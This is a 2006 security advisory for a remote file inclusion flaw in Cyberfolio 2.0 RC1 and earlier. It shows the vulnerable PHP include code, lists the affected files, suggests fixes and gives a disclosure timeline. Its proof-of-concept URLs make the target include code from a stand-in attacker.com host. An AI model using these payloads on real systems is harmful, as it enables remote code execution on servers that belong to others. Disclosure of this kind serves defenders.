[ECHO_ADV_58_2006]Cyberfolio <=2.0 RC1 $av Remote File Inclusion Vulnerability

[ECHO_ADV_58$2006]Cyberfolio <=2.0 RC1 $av Remote File Inclusion Vulnerability

Author : Dedi Dwianto a.k.a the_day
Date Found : November, 01nd 2006
Location : Indonesia, Jakarta
web : http://advisories.echo.or.id/adv/adv58-theday-2006.txt
Critical Lvl : Highly critical
Impact : System access
Where : From Remote

Affected software description:

Application     : Cyberfolio
version         : <=2.0 RC1
URL             : http://www.cyberfolio.org

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Vulnerability:
~~~~~~~~~~~~~~

I found vulnerability in script view.php
--------------------------view.php-----------------------------------
....
<?
...
$newfic=$av."checkauth".$_SESSION[inlog].".php";
include("$newfic");
include_once($av."config.php");
include_once($av."connect.php");
...
----------------------------------------------------------

Input passed to the "$av" parameter in view.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Also affected files :

portfolio/msg/view.php
portfolio/msg/inc_message.php
portfolio/msg/inc_envoi.php
portfolio/admin/incl_voir_compet.php


Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/cyberfolio/portfolio/msg/view.php?av=http://attacker.com/inject.txt?
http://target.com/cyberfolio/portfolio/admin/incl_voir_compet.php?av=http://attacker.com/inject.txt?


Solution:
~~~~~~~

- Sanitize variable $av affected files.
- Turn off register_globals

Timeline :
~~~~~~~~~

01 - 11 - 2006 bugs found
01 - 11 - 2006 vendor contacted
07 - 11 - 2006 public disclosure

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Shoutz:
~~~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy My Brain
~ az001,bomm_3x,matdhule,angelia
~ [email protected]
~ #aikmel - #e-c-h-o @irc.dal.net
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---
Contact:
~~~~
     EcHo Research & Development Center
     the_day[at]echo[dot]or[dot]id
     
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